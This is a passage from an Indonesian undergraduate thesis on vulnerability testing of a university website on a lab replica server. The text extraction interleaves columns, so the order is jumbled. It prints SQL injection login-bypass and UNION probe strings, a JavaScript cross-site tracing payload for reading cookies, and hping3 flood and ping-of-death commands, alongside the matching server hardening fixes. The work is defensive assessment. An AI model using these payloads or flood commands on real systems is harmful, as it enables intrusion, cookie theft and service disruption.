metodologi penelitian hasil dan pembahasan

advertisement
4
secara manual. Scanning dilakukan
untuk mencari berbagai kemungkinan
celah keamanan yang terdapat pada
website.
METODOLOGI PENELITIAN
Penelitian ini merupakan kegiatan analisis
vulnerability pada sebuah website perguruan
tinggi dan pembuatan software untuk
otomatisasi pengecekan vulnerability. Pada
penelitian ini digunakan komputer yang
berada pada laboratorium jaringan sebagai
pengganti server yang sesungguhnya. Metode
penelitian yang digunakan terlihat pada
Gambar 1.
•
Penetration Test
Setelah proses scanning selesai
dilakukan proses penetration test
terhadap website setelah berhasil
mengetahui kelemahan yang terdapat
pada sebuah website.
•
Fixing
Tahap selanjutnya dilakukan
perbaikan
kelemahan-kelemahan
yang
muncul
pada
website.
Kelemahan yang diperbaiki meliputi
perbaikan konfigurasi pada software.
•
Testing
Proses
terakhir
dilakukan
pengujian terhadap hasil fixing
dengan cara mengulang tahapan
scanning hingga penetration test.
HASIL DAN PEMBAHASAN
1. Reconnaissance
Tahapan reconnaissance dilakukan dengan
cara melakukan wawancara kepada pihak
yang bertanggung jawab untuk menangani
website perguruan tinggi. Hasil wawancara
tersebut adalah sebagai berikut:
•
Sistem operasi yang digunakan adalah
OpenSuse 10.3.
•
Web server yang digunakan adalah
Apache 2.2.4. Konfigurasi web server
yang
dilakukan
hanya
pada
konfigurasi virtual host.
•
DBMS yang digunakan adalah
MySQL 5.0.45 dengan konfigurasi
standar.
•
Konfigurasi PHP yang terdapat pada
file
php.ini
tidak
mengalami
perubahan sesuai dengan konfigurasi
default.
•
Jenis serangan yang pernah terjadi
adalah website defacement.
Gambar 1 Langkah analisis vulnerability.
Dalam melakukan analisis vulnerability,
digunakan langkah-langkah sebagai berikut:
•
Reconnaissance
Pada tahapan ini dilakukan
wawancara
kepada
pihak
penanggung jawab sistem informasi
untuk mengetahui sistem operasi
yang digunakan, konfigurasi dari
web server dan DBMS serta serangan
yang pernah terjadi pada website
perguruan tinggi.
•
Scanning
Tahapan selanjutnya dilakukan
scanning menggunakan tools maupun
5
2. Scanning
Proses
scanning
yang
dilakukan
menggunakan beberapa tool yang disajikan
pada Tabel 1.
Tabel 2 Hasil scanning Nikto, Nessus, dan
Wikto yang menunjukan celah XST
Tool
Hasil
Nikto
+ OSVDB-877:
HTTP TRACE
method is active,
suggesting the host
is vulnerable to
XST
Tabel 1 Tool yang digunakan pada proses
scanning
Tool
Fungsi
Nikto
Web server
scanner
vulnerability
Wikto
Web server vulnerability
scanner yang bekerja pada
sistem operasi Windows saja.
Acunetix
XSS vulnerability scanner
Web
Vulnerability
Scanner
Nessus
web aplication testing, dan
penetration testing
Scrawlr
SQL Injection Scanner
Proses scanning dilakukan dengan
menggunakan tool yang disebutkan pada
Tabel 1 secara berurutan dari tool pertama
hingga terakhir. Server yang digunakan pada
penelitian kali ini merupakan komputer di lab
jaringan. Komputer tersebut disamakan jenis
sistem operasinya serta software yang di
install sesuai dengan komputer server pada
untuk website perguruan tinggi.
Hasil tersebut
menunjukan
aktifnya
metode
TRACE
Wikto /,TRACE /
HTTP/1.,generic,
TRACE option
appears to allow
XSS or credential
theft
Hasil tersebut
menunjukan
aktifnya
metode
TRACE yang
memungkinkan
dilakukan
serangan XSS
•
Informasi tentang tipe dan versi web
server muncul. Vulnerability jenis ini
sebenarnya tidak terlalu berbahaya,
namun informasi yang didapatkan pada
tahapan tersebut dapat dipakai oleh
hacker untuk menentukan jenis
serangan yang akan dilakukan terhadap
server target. Celah keamanan tersebut
dapat terjadi dikarenakan oleh:
•
Scanning terhadap XSS vulnerability
dilakukan menggunakan tool Nikto, Nessus,
Wikto, dan Acunetix Web Vulnerability
Scanner. Hasil scanning yang diperoleh dari
ketiga tool adalah sebagai berikut:
Celah Cross-site Tracing (XST) muncul
pada saat melakukan scanning
menggunakan Nikto, Nessus, dan
Wikto. Hasil dari ketiga tool tersebut
ditunjukkan pada Tabel 2. Celah
keamanan ini dapat dimanfaatkan oleh
hacker untuk memperoleh informasi
berharga
seperti
cookie
dan
authentication credential dari sebuah
website melalui metode TRACE yang
didukung oleh web server.
Hasil tersebut
menunjukan
aktifnya
metode
TRACE yang
dapat
menyebabkan
XST
Nessus HTTP TRACE /
TRACK Methods
Allowed
2.1 Scanning XSS vulnerability
•
Keterangan
Tipe dan versi web server diketahui
Tipe dan versi dari web server
dapat diketahui dari hasil scanning
menggunakan tool Nikto, Nessus,
dan Wikto. Hasil scanning dari
ketiga tool disajikan pada Tabel 3.
Tabel 3 Hasil scanning Nikto, Nessus, dan
Wikto yang menunjukkan tipe dan
versi web server yang digunakan
Tool
Hasil
Keterangan
Nikto
Server:
Apache/2.2.8
(Linux/SUSE)
Nessus Apache Banner
Tipe dan versi
web server
diketahui
6
Linux Distribution
Disclosure
Wikto
,Directory
indexing is
enabled
/serverstatus,200,apache
,This gives a lot of
Apache
information
•
Nessus Web Server
Directory
Enumeration
Web server manual
Web server manual ditemukan pada
hasil
scanning
dengan
menggunakan Nikto dan Wikto.
Hasil dari kedua tool tersebut
ditunjukkan pada Tabel 4.
Tabel 4 Hasil scanning Nikto, dan Wikto
Tool
Hasil
Keterangan
Nikto OSVDB3092: /manual/:
Web server
Directory yang
manual found
berisi manual dari
web server dapat
Wikto /
ditemukan
manual/,200,gen
eric,Web server
manual
•
Directory indexing
Directory indexing dari web server
dapat diketahui dari hasil scanning
menggunakan tool Nikto, Nessus,
dan Wikto. Hasil scanning dari
ketiga tool disajikan pada Tabel 5.
Tabel 5 Hasil scanning Nikto, Nessus, dan
Wikto yang menunjukkan adanya
directory indexing
Tool
Hasil
Keterangan
Nikto
+ OSVDB3268: /icons/:
Directory
indexing is
enabled: /icons
Directory icons
yang berisi file
default sebuah
web server
dapat
ditemukan
Wikto
/
Directory
icons/,200,apache indexing dari
•
web server di
aktifkan
sehingga file
default web
server dapat
ditemukan
Directory icons
yang berisi file
default sebuah
web server
dapat
ditemukan
Terdapat kode program yang dapat di
injeksi dengan script. Injeksi tersebut
menggunakan teknik XSS. Scanning
dilakukan dengan menggunakan tool
Acunetix Web Vulnerability Scanner.
Hasil scanning dapat dilihat pada
Lampiran 1.
2.2 Scanning SQL Injection vulnerability
Scanning
terhadap
SQL
injection
dilakukan dengan dua cara, yaitu secara
otomatis dan secara manual.
2.2.1 Scanning SQL Injection secara
otomatis
Scanning secara otomatis dilakukan
menggunakan tool Scrawlr dan Nessus.
Hasil scanning menggunakan tool ini
menunjukkan tidak adanya celah yang
memungkinkan dilakukannya serangan
SQL injection.
2.2.2 Scanning SQL Injection secara
manual
Scanning secara manual dilakukan
dengan memasukkan perintah sql pada
URL di web browser. Perintah sql yang
digunakan ditunjukkan pada Tabel 6.
Perintah-perintah tersebut digunakan
untuk mengetahui celah keamanan pada
website yang tidak melakukan pemfilteran
terhadap karakter-karakter SQL pada URL.
Celah keamanan ini dapat dimanfaatkan
hacker untuk mengetahui karakteristik dari
database
yang
digunakan.
Selain
melakukan langkah-langkah pada Tabel 6,
dilakukan juga penerobosan ke dalam
halaman admin website menggunakan
7
teknik
sql
injection.
Penerobosan
dilakukan dengan memasukkan karakterkarakter pada Tabel 7. Karakter tersebut
dimasukkan pada kotak isian username
dan password yang terdapat pada halaman
login administrator.
kode program. Cara kerja kode program
ini adalah menambahkan backslash (\)
pada karakter single quote (') dan double
qoute ("). Penambahan karakter backslash
(\) sebelum karakter quote akan membuat
string ' or 1=1-- akan tetap di proses ' or
Tabel 6 String yang dimasukkan pada web browser guna mengetahui celah SQL Injection pada
website
String
Efek
Hasil Pengujian
http://target/index.php?id=1 order by 10/* memunculkan halaman yang benar jika Halaman website akan
terdapat tabel dengan 10 kolom. Jika
memunculkan halaman dengan id 1
tidak terdapat tabel dengan 10 kolom
halaman yang akan ditampilkan adalah
pesan error Unknown column ‘10' in
'order clause'
http://target/index.php?id=null union all
select 1,user(),3,4,5/*
menampilkan database user.
Halaman website akan
memunculkan halaman eror
http://target/index.php?id=null union all
select 1,2,database(),4,5/*
menampilkan nama dari database.
Halaman website akan
memunculkan halaman eror
http://target/index.php?id=null union all
select 1,@@version,@@datadir,4,5/*
menampilkan versi dari database yang
digunakan (@@version), dan database
data direktori (@@datadir)
Halaman website akan
memunculkan halaman eror
http://target/index.php?id=66 AND 1=1--
menampilkan halaman yang benar
Halaman website akan
memunculkan halaman dengan id
66
http://target/index.php?id=66 AND 1=2--
menampilkan halaman yang error jika
terdapat celah sql injection
Halaman website akan
memunculkan halaman dengan id
66
http://target/index.php?
id=1;sleep+delay+'0:0:5';--
membuat load halaman akan di delay
selama 5 detik.
Halaman website akan
memunculkan halaman dengan id 1
dalam waktu yang normal
Hasil scanning menggunakan langkahlangkah manual juga tidak menunjukkan
adanya
celah
keamanan
yang
memungkinkan dilakukannya serangan sql
injection.
Hal tersebut dikarenakan pada halaman
login administrator kotak isian username
dan password telah diberi filter escape
karakter. Kode program yang digunakan
untuk melakukan filter adalah sebagai
berikut.
$loginUsername=$_POST['username'];
$password=$_POST['password'];
................................
$LoginRS__query=sprintf("SELECT
username, password, Nama, id_level
FROM login WHERE username='%s' AND
password=MD5('%s')",
get_magic_quotes_gpc() ?
$loginUsername :
addslashes($loginUsername),
get_magic_quotes_gpc() ? $password
: addslashes($password));
Kode program untuk memfilter escape
karakter di tandai dengan cetak tebal pada
1=1-- query SQL. Hal ini membuat
serangan menggunakan teknik SQL
Injection tidak bekerja.
Filter lain yang diterapkan pada
website juga turut melakukan filter
terhadap URL. Filter tersebut adalah
sebagai berikut.
$query_MenuM = "SELECT * FROM menu
WHERE parent = '" .
mysql_escape_string($parentID)."'";
Kode program tersebut digunakan
untuk
memfilter
parantID
yang
merupakan ID yang digunakan untuk
menuju ke halaman lain yang berada pada
website.
Hasil lengkap dari scanning yang
dilakukan oleh ketiga tool dapat dilihat pada
Lampiran 2.
8
Tabel 7 String untuk menerobos halaman admin menggunakan teknik SQL Injection
String
Makna
' or 1=1--
String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman
1=1--', hal ini akan menyebabkan nilai nya administrator
selalu benar karena logika OR akan bernilai
selalu benar jika salah satu nilainya bernilai
benar. Hal ini menyebabkan hacker dapat
masuk ke halaman admin
' or 1=1#
String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman
1=1#', hal ini akan menyebabkan nilai nya administrator
selalu benar karena logika OR akan bernilai
selalu benar jika salah satu nilainya bernilai
benar. Hal ini menyebabkan hacker dapat
masuk ke halaman admin
' or 1=1/*
String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman
1=1/*', hal ini akan menyebabkan nilai nya administrator
selalu benar karena logika OR akan bernilai
selalu benar jika salah satu nilainya bernilai
benar. Hal ini menyebabkan hacker dapat
masuk ke halaman admin
' or 1=1 or ''='
String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman
1=1 or ''='', hal ini akan menyebabkan nilai administrator
nya selalu benar karena logika OR akan
bernilai selalu benar jika salah satu nilainya
bernilai benar. Hal ini menyebabkan hacker
dapat masuk ke halaman admin
' or 'a'='a
String ini akan dianggap seperti berikut '' or Tidak berhasil masuk ke halaman
'a'='a', hal ini akan menyebabkan nilai nya administrator
selalu benar karena logika OR akan bernilai
selalu benar jika salah satu nilainya bernilai
benar. Hal ini menyebabkan hacker dapat
masuk ke halaman admin
admin' #
String ini akan menghapus statement SQL
yang ada setelah tanda #, sehingga hanya
terjadi pengecekan pada username saja.
Tidak berhasil masuk ke halaman
administrator
admin'/*
String ini akan menghapus statement SQL
yang ada setelah tanda /*, sehingga hanya
terjadi pengecekan pada username saja.
Tidak berhasil masuk ke halaman
administrator
3. Penetration Test
Tahapan penetration test menindaklanjuti
hasil yang diperoleh dari proses scanning.
Pada tool Nessus proses scanning dan
penetration test dilakukan sekaligus.
3.1 XSS vulnerability
•
XST
Penetration test jenis vulnerability ini
dilakukan dengan cara mengirimkan
TRACE request kepada web server.
TRACE request dikirimkan oleh tool
Nessus adalah sebagai berikut:
TRACE request :
-----------------------------TRACE /Nessus1825069417.html
HTTP/1.1
Hasil Pengujian
Connection: Close
Host: 172.18.78.53
Pragma: no-cache
User-Agent: Mozilla/4.0
(compatible; MSIE 6.0; Windows NT
5.0)
Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf8
Respon yang diperoleh dari web
server adalah sebagai berikut:
-----------------------------response from the remote server :
-----------------------------HTTP/1.1 200 OK
Date: Wed, 03 Mar 2010 18:06:31
GMT
Server: Apache/2.2.4 (Linux/SUSE)
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: message/http
9
TRACE /Nessus1825069417.html
HTTP/1.1
Connection: Keep-Alive
Host: 172.18.78.53
Pragma: no-cache
User-Agent: Mozilla/4.0
(compatible; MSIE 6.0; Windows NT
5.0)
Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg,
image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf8
Respon
yang
diperoleh
menunjukkan bahwa metode TRACE
didukung oleh web server target. Untuk
mendapatkan cookie dari website
dilakukan dengan cara mengeksekusi
kode berikut ini di browser :
Directory indexing
•
Directory indexing dapat di-browse
dengan cara memasukkan URL
http://target/icons/
pada
browser.
Proses penetration test yang dilakukan
hanya mengecek apakah directory
dapat di-browse atau tidak.
3.2 Denial of Service
Jenis serangan Denial of service yang
dilakukan adalah ping flood, syn attack,
smurf attack, dan ping of death.
Ping
flood
dapat
dilakukan
menggunakan tool hping3. Perintah
yang digunakan untuk melakukan ping
flood adalah sebagai berikut:
•
hping3 -1 --flood <ip target>
<script type=”text/javascript”>
function xssDomainTraceRequest(){
var exampleCode = “var xmlHttp =
new
ActiveXObject(\”Microsoft.XMLHTTP
\”)\;xmlHttp.open(\”TRACE\”,\”htt
p://target\”,false)\;xmlHttp.send
()\;xmlDoc=xmlHttp.responseText\;
alert(xmlDoc)\;”;
var target = “http://target”;
cExampleCode =
encodeURIComponent(exampleCode +
‘;top.close()’);
var readyCode = ‘fontsize:expression(execScript(decode
URIComponent(“’ + cExampleCode +
‘”)))’;
showModalDialog(target, null,
readyCode);
}
Pengujian dampak ping flood
terhadap waktu loading halaman
website dilakukan dengan skema yang
ditunjukkan pada Gambar 2. Pengujian
dilakukan menggunakan
browser
Mozilla Firefox 3.0.16.
Gambar 2 Skema pengujian dampak ping
flood terhadap waktu loading
halaman website.
</script>
<INPUT TYPE=BUTTON
OnClick=”xssDomainTraceRequest()”
VALUE=”Show Cookie Information
Using TRACE”>
Kode tersebut dapat menampilkan
cookie dari website
target
apabila sebelumnya client target pernah
melakukan login ke halaman website
target.
•
Web server manual
Web server manual dapat di-browse
dengan cara memasukkan URL
http://target/manual pada browser.
Proses penetration test yang dilakukan
hanya mengecek apakah web server
manual dapat di browse atau tidak.
Hasil pengujian terhadap dampak
ping flood disajikan pada Tabel 8 dan
terlihat pada Gambar 3.
Tabel 8 Hasil pengujian dampak ping flood
terhadap waktu loading website
Lama
pengujian
(menit)
Waktu (detik)
Ratarata
ulangan ulangan ulangan
1
2
3
10
0,082
0,081
0,092
0,085
20
0,081
0,081
0,091
0,084
30
0,081
0,081
0,091
0,084
10
Waktu Loading (detik)
0,086
0,085
0,085
rata-rata
0,084
0,084
10
20
30
Lama Pengujian (menit)
Gambar 3 Efek ping flood terhadap lama
waktu loading halaman website.
Gambar 5 Skema smurf attack.
Hasil pengujian yang ditunjukan pada
Tabel 8 menunjukkan adanya peningkatan
waktu loading halaman website. Waktu ratarata loading halaman website pada browser
Mozilla Firefox 3.0.16 sebelum dilakukan
serangan ping flood adalah 0.04 detik. Hal
tersebut menunjukkan adanya pengaruh dari
serangan ping flood yang dilakukan terhadap
server target.
•
SYN
attack
dapat
dilakukan
menggunakan tool hping3. Skema
penyerangan menggunakan teknik SYN
attack ditunjukkan pada Gambar 4.
Perintah yang digunakan untuk
melakukan SYN attack adalah sebagai
berikut:
hping3 -S <ip target> -p <port
target>
Skema penyerangan menggunakan
teknik smurf attack ditunjukkan pada
Gambar 5. Serangan ini tidak lagi
berpengaruh terhadap sistem operasi
OpenSuse
10.3.
Hal
tersebut
dikarenakan sistem operasi yang ada
saat ini telah menerapkan aturan RFC
1122 yang menyatakan bahwa ICMP
Echo Request yang ditujukan ke alamat
IP broadcast atau alamat IP multicast
secara diam-diam diabaikan.
•
Ping of death dapat dilakukan
menggunakan tool hping3. Skema
penyerangan menggunakan teknik
Ping of Death ditunjukkan pada
Gambar 6. Perintah yang digunakan
untuk melakukan ping of death adalah
sebagai berikut:
hping3 -1 -X -d 90000 <ip target>
Gambar 4 Skema SYN Attack.
SYN attack tidak lagi berpengaruh
terhadap sistem operasi OpenSuse
10.3. Hal tersebut dikarenakan sistem
operasi tersebut telah menerapkan syn
cookie. Syn cookie bekerja dengan cara
tidak membuat session pada konten
switch hingga paket ACK diterima.
•
Smurf
attack
dapat
dilakukan
menggunakan tool hping3. Perintah
yang digunakan untuk melakukan
smurf attack adalah sebagai berikut:
hping3 -1
broadcast>
-a
<ip
target> <ip
Gambar 6 ping of death attack.
Ping of death saat ini tidak lagi
berpengaruh terhadap sistem operasi
OpenSuse 10.3 yang digunakan. Hal
ini dikarenakan bugs pada sistem
operasi telah diperbaiki sejak linux
kernel 2.0.x.
11
Perl/v5.8.8
4. Fixing
Proses
fixing
merupakan
tahapan
memperbaiki konfigurasi server untuk
menangani celah keamanan yang ditemukan
pada tahapan scanning.
Web server type yang muncul pada
halaman error dari web server dapat
disembunyikan dengan menghilangkan
baris perintah yang berada pada file
/usr/share/apache2/error/include/botto
m.html. Baris script yang perlu dihapus
ditandai dengan cetak tebal.
4.1 Fixing XSS
•
XST
XST
dapat
dicegah
dengan
menambahkan konfigurasi pada web
server untuk menghilangkan metode
TRACE.
Konfigurasi
yang
ditambahkan diletakkan pada file
/etc/apache2/default-server.conf adalah
sebagai berikut:
</p>
<p>
<!--#include
virtual="../contact.html.var" -->
</p>
<h2>Error <!--#echo
encoding="none"
var="REDIRECT_STATUS" --></h2>
<address>
<a href="/"><!--#echo
var="SERVER_NAME" --></a><br />
<!--#config timefmt="%c" -->
<span><!--#echo
var="DATE_LOCAL" --><br />
<!--#echo var="SERVER_SOFTWARE"
--></span>
</address>
</body>
</html>
TraceEnable off
Konfigurasi tersebut mempunyai
arti meniadakan metode TRACE dari
web server.
•
Web server type and version
Web
server
version
dapat
dihilangkan dengan cara menambahkan
konfigurasi
pada
file
/etc/apache2/httpd.conf. Konfigurasi
yang dilakukan dengan menambahkan
baris perintah berikut ini.
ServerTokens ProductOnly
Perintah
ServerTokens
akan
menampilkan server banner sesuai
dengan pengaturan yang terdapat pada
Tabel 9.
Tabel 9 ServerTokens setting
Server token
setting
Server banner header
ProductOnly Apache
Major
Apache/2
Minor
Apache/2.2
Minimal
Apache/2.2.4
OS
Apache/2.2.4 (Linux/Suse)
Full
Apache/2.2.4 (Linux/Suse)
PHP/5.2.4 with Suhosin-Patch
mod_python/3.3.1
Python/2.5.1 mod_perl/2.0.3
•
Web server manual
Web
server
manual
dapat
dihilangkan
dengan
cara
menonaktifkan konfigurasi pada file
/etc/apache2/conf.d/apache2manual.conf.
Berikut
merupakan
konfigurasi file tersebut.
#AliasMatch ^/manual(?:/(?:de|en|
es|fr|ja|ko|ru))?(/.*)?$
"/usr/share/apache2/manual$1"
#<Directory
"/usr/share/apache2/manual">
#
Options Indexes
#
AllowOverride None
#
Order allow,deny
#
Allow from all
#
#
#
<Files *.html>
SetHandler type-map
</Files>
#
SetEnvIf Request_URI
^/manual/(de|en|es|fr|ja|ko|ru)/
prefer-language=$1
#
RedirectMatch 301
^/manual(?:/(de|en|es|fr|ja|ko|
ru)){2,}(/.*)?$ /manual/$1$2
#</Directory>
12
Directory
indexing
dapat
dihilangkan
dengan
cara
menonaktifkan konfigurasi pada file
/etc/apache2/default-server.conf.
Berikut merupakan konfigurasi file
tersebut.
#Alias /icons/
"/usr/share/apache2/icons/"
Waktu Loading (detik)
Directory indexing
•
0,08
0,08
0,07
0,06
10
Langkah kedua dapat dilakukan
dengan menambahkan konfigurasi
pada file /etc/sysctl.conf. Konfigurasi
tersebut adalah sebagai berikut.
ping flood
Ping flood dapat diatasi dengan dua
cara yaitu memblok paket ICMP Echo
Request dan mengabaikan paket ICMP
Echo Request yang masuk. Langkah
pertama dapat dilakukan dengan
menggunakan tool iptables. Aturan
iptables untuk memblok paket ICMP
Echo Request yang masuk adalah
sebagai berikut.
Iptables -I INPUT -p icmp --icmptype echo-request -j DROP
Penerapan aturan iptables untuk
memblok paket ICMP Echo Request
yang masuk berhasil untuk mengurangi
dampak dari ping flood. Efek dari
penerapan aturan iptables terlihat pada
Tabel 10 dan Gambar 7.
net.ipv4.icmp_echo_ignore_all = 1
Penambahan konfigurasi pada file
tersebut akan membuat sistem operasi
mengabaikan semua paket ICMP Echo
Request yang masuk. Efek dari
penerapan konfigurasi ini dapat terlihat
pada Tabel 11 dan Gambar 8.
Tabel 11 Waktu loading halaman website
setelah penambahan konfigurasi
pada file /etc/sysctl.conf
Lama
pengujian
ulangan ulangan ulangan
1
2
3
10
0,077
0,057
0,074
0,069
20
0,064
0,070
0,087
0,074
30
0,093
0,060
0,085
0,079
Waktu Loading (detik)
(menit)
Ratarata
Waktu (detik)
Ratarata
ulangan ulangan ulangan
1
2
3
(menit)
Tabel 10 Waktu loading halaman website
setelah penerapan aturan
iptables
Waktu (detik)
30
Gambar 7 Efek penerapan aturan iptables
terhadap lama waktu loading
halaman website.
4.2 Fixing DoS
Lama
pengujian
20
Lama Pengujian (menit)
#<Directory
"/usr/share/apache2/icons">
# Options Indexes MultiViews
# AllowOverride None
# Order allow,deny
# Allow from all
#</Directory>
•
rata-rata
0,07
10
0,068
0,068
0,082
0,072
20
0,060
0,055
0,070
0,062
30
0,065
0,063
0,085
0,071
0,08
0,07
0,07
rata-rata
0,06
0,06
10
20
30
Lama Pengujian (menit)
Gambar 8 Efek penambahan aturan pada
sysctl.conf terhadap lama waktu
loading halaman website.
13
website.
Gambar 9 memperlihatkan flow chart
algoritme
program
untuk
melakukan
otomatisasi vulnerability scanning. Kode
program ditulis menggunakan bash. Kode
program selengkapnya dapat dilihat pada
Lampiran 3.
3
Pengamanan terhadap kemungkinan
serangan SQL injection sudah bagus.
Hal ini terlihat dengan adanya filter
quote karakter pada login form.
Selain itu, terdapat filter karakter
pada URL.
4
Serangan DoS berupa ping flood
berpengaruh terhadap waktu loading
halaman website sebesar 53 % lebih
lama dari waktu normal. Hal ini
dapat menyebabkan server tidak
mempu
memberikan layanan
(Denial of Service) jika terjadi
serangan ping flood dalam jumlah
yang sangat besar. Sedangkan
serangan SYN attack, smurf attack,
dan ping of death telah ditangani
pada sistem operasi OpenSuse 10.3.
Hal tersebut dikarenakan secara
default
sistem
operasi
telah
mengaktifkan perlindungan terhadap
kemungkinan
adanya
serangan
tersebut, serta adanya perbaikan bug
dari kernel yang digunakan.
Saran
Untuk pengembangan penelitian
disarankan hal-hal sebagai berikut:
Gambar 9 Algoritme program vulnerability
scanner.
1
Penelitian tentang cara penanganan
ping flood attack secara terdistribusi
(DdoS).
2
Analisis tentang adanya celah SQL
Injection pada website perguruan
tinggi.
3
Pengujian akan adanya celah lain
yang mungkin terdapat pada website,
seperti Local File Inclusion.
KESIMPULAN DAN SARAN
DAFTAR PUSTAKA
Kesimpulan
Berdasarkan hasil penelitian, dapat ditarik
kesimpulan sebagai berikut:
1
2
Terdapat celah keamanan XST yang
tidak disadari dapat dimanfaatkan
hacker
untuk
melakukan
penyerangan terhadap website.
Munculnya informasi tentang tipe
dan versi web server dapat membantu
hacker dalam menentukan jenis
serangan yang dilakukan terhadap
ini
Clarke J. 2009. SQL Injection Attacks and
Defense. Burlington: Syngress.
Gregory P. 2009. CISSP guide to security
Essentials. Boston: Cengage Learning.
Hollander Y. 2000. Prevent Website
Defacement. Internet Security Advisor
November/Desember 2000:2.
SAINT.
2008.
Integrated
Network
Download